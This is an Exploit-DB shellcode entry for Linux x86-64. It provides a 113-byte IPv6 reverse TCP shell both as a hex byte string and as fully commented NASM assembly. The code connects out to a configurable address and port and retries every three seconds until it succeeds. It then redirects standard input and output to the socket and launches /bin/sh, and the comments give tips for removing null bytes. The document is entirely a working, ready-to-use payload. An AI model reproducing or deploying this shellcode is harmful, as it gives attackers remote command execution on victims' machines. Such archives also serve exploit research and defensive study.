EDB-ID: 41970 | Author: Srakai | Published: 2017-05-08 | CVE: N/A | Type: Shellcode | Platform: Lin_x86-64 | Shellcode:  Download / View Raw | Shellcode Size: 113 bytes |
; **reverse ip6 tcp shell
; * size >= 113 bytes (depends of ip addr, default is ::1)
; * nullbytes free (depends only on ip addr,
; you could always and the ip add to remove
; the nulls like i did with the port)
; * it sleeps and then tries to recconect (default 3 seconds)
;
;shell =
;"\x6a\x0a\x5f\x6a\x01\x5e\x48\x31\xd2\x6a\x29\x58\x0f\x05\x50\x5b"
;"\x52\x48\xb9\x00\x00\x00\x00\x00\x00\x01\x51\xb9\x00\x00\x00\x00"
;"\x51\xba\xff\xff\x05\xc0\x66\x21\xfa\x52\x48\x31\xf6\x56\x6a\x03"
;"\x54\x5f\x6a\x23\x58\x0f\x05\x59\x59\x53\x5f\x54\x5e\x6a\x1c\x5a"
;"\x6a\x2a\x58\x0f\x05\x48\x85\xc0\x75\xe0\x48\x96\x6a\x03\x5e\x6a"
;"\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbf\x2f\x2f\x62\x69\x2f"
;"\x73\x68\x56\x57\x48\x31\xd2\x54\x5f\x6a\x3b\x58\x0f\x05"
;
; again, the nulls propably won't even come up with your global ip addr
; if they do, and you don't encodee the payload, you could do some
; bitwise operations
;
; made by srakai (github.com/Srakai)
AF_INET6 equ 10
SOCK_STREAM equ 1
SOCKET equ 41
CONNECT equ 42
DUP2 equ 33
EXECVE equ 59
NANOSLEEP equ 35
section .text
global _start
_start:
; socket()
push AF_INET6
pop rdi
push SOCK_STREAM
pop rsi
xor rdx, rdx
push SOCKET
pop rax
syscall
push rax
pop rbx
; create struct sockaddr_in6
push rdx ;scope id = 0
mov rcx, 0x0100000000000000 ;sin6_addr for local link use:
push rcx ;sin6_addr 0x0100000000000000
mov rcx, 0x0000000000000000 ;sin6_addr 0x0000000000000000
push rcx ;sin6_addr
mov edx, 0xc005FFFF ;sin6_flowinfo=0 , family=AF_INET6, port=1472
and dx, di ;to change port change P, 0xPPPP000A
push rdx
sleep:
xor rsi, rsi
; struct timespec
push rsi ;push 0
push 3 ;seconds to sleep
; nanosleep()
push rsp
pop rdi
push NANOSLEEP
pop rax
syscall
pop rcx ;clear stack
pop rcx
; connect()
push rbx
pop rdi
push rsp
pop rsi
push 28 ;sizeof struct
pop rdx
push CONNECT
pop rax
syscall
test rax, rax ;if (rax&rax) ==0
jnz sleep
; dup2()
xchg rsi, rax ;rsi=0
push 3
pop rsi
dup2:
push DUP2
pop rax
dec rsi
syscall
jnz dup2
; execve()
mov rdi, 0x68732f6e69622f2f
push rsi
push rdi
xor rdx, rdx
push rsp
pop rdi
push EXECVE
pop rax
syscall
Download / View Raw